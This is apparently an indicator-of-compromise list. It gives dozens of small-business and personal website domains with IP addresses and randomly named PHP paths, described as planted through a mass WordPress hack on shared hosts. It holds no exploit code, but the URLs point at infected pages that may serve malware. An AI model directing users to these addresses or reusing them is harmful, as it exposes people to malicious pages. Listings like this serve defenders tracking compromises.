antillasint.com – (66.96.132.61) – /cxcgx.php?page=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
teach42.com – (69.89.27.211) – /styvb.php?do=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
techtransfer.us – (69.89.20.54) – /wjjns.php?m=
raphaelrolland.com – (173.236.129.180) – /tqtaa.php?id=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
techtransfer.us – (69.89.20.54) – /wjjns.php?m=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
teach42.com – (69.89.27.211) – /styvb.php?do=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
deltronitalia.it – (195.110.125.55) – /nav/navi430.html
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
teach42.com – (69.89.27.211) – /styvb.php?do=
techtransfer.us – (69.89.20.54) – /wjjns.php?m=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
teach42.com – (69.89.27.211) – /styvb.php?do=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
teach42.com – (69.89.27.211) – /styvb.php?do=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
technights.net – (66.147.252.155) – /drqdt.php?topic=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
teach42.com – (69.89.27.211) – /styvb.php?do=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
teach42.com – (69.89.27.211) – /styvb.php?do=
tamalefactory.net – (66.96.132.34) – /scjnw.php?go=
tamalefactory.net – (66.96.132.34) – /scjnw.php?go=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
raphaelrolland.com – (173.236.129.180) – /tqtaa.php?id=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
tamalefactory.net – (66.96.132.34) – /scjnw.php?go=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
technights.net – (66.147.252.155) – /drqdt.php?topic=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
techtransfer.us – (69.89.20.54) – /wjjns.php?m=
technights.net – (66.147.252.155) – /drqdt.php?topic=
deltronitalia.it – (195.110.125.55) – /nav/navi763.html
tcvma.com – (69.89.25.160) – /oknfk.php?m=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
raphaelrolland.com – (173.236.129.180) – /tqtaa.php?id=
teach42.com – (69.89.27.211) – /styvb.php?do=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
rhindsarts.com – (66.96.131.69) – /eaxic.php?id=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
rhindsarts.com – (66.96.131.69) – /eaxic.php?id=
technights.net – (66.147.252.155) – /drqdt.php?topic=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
rhindsarts.com – (66.96.131.69) – /eaxic.php?id=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
teach42.com – (69.89.27.211) – /styvb.php?do=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
tamalefactory.net – (66.96.132.34) – /scjnw.php?go=
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
techtransfer.us – (69.89.20.54) – /wjjns.php?m=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
teach42.com – (69.89.27.211) – /styvb.php?do=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
tamalefactory.net – (66.96.132.34) – /scjnw.php?go=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
deltronitalia.it – (195.110.125.55) – /nav/navi919.html
teach42.com – (69.89.27.211) – /styvb.php?do=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
technights.net – (66.147.252.155) – /drqdt.php?topic=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
raphaelrolland.com – (173.236.129.180) – /tqtaa.php?id=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
teach42.com – (69.89.27.211) – /styvb.php?do=
raphaelrolland.com – (173.236.129.180) – /tqtaa.php?id=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
teach42.com – (69.89.27.211) – /styvb.php?do=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
technights.net – (66.147.252.155) – /drqdt.php?topic=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
technights.net – (66.147.252.155) – /drqdt.php?topic=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
teach42.com – (69.89.27.211) – /styvb.php?do=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
techtherapy.com – (69.89.22.110) – /siwvf.php?pageid=
teach42.com – (69.89.27.211) – /styvb.php?do=
rhindsarts.com – (66.96.131.69) – /eaxic.php?id=
techtherapy.com – (69.89.22.110) – /siwvf.php?pageid=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
tamalefactory.net – (66.96.132.34) – /scjnw.php?go=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
deltronitalia.it – (195.110.125.55) – /nav/navi369.html
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
tamalefactory.net – (66.96.132.34) – /scjnw.php?go=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
rhindsarts.com – (66.96.131.69) – /eaxic.php?id=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
raphaelrolland.com – (173.236.129.180) – /tqtaa.php?id=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
deltronitalia.it – (195.110.125.55) – /nav/navi900.html
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
rhindsarts.com – (66.96.131.69) – /eaxic.php?id=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
teach42.com – (69.89.27.211) – /styvb.php?do=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
technights.net – (66.147.252.155) – /drqdt.php?topic=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
netwithus.com – (66.96.132.120) – /qaehg.php?off=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
archcapebeachhouse.com – (70.32.68.72) – /wp-includes/Text/Diff/Renderer/mnksj.php?cnjhw=

Most websites are hosted in bluehost.com, hostmonster.com, eigbox.net or dreamhost.com and all these hacked websites should be the result of a mass wordpress hack.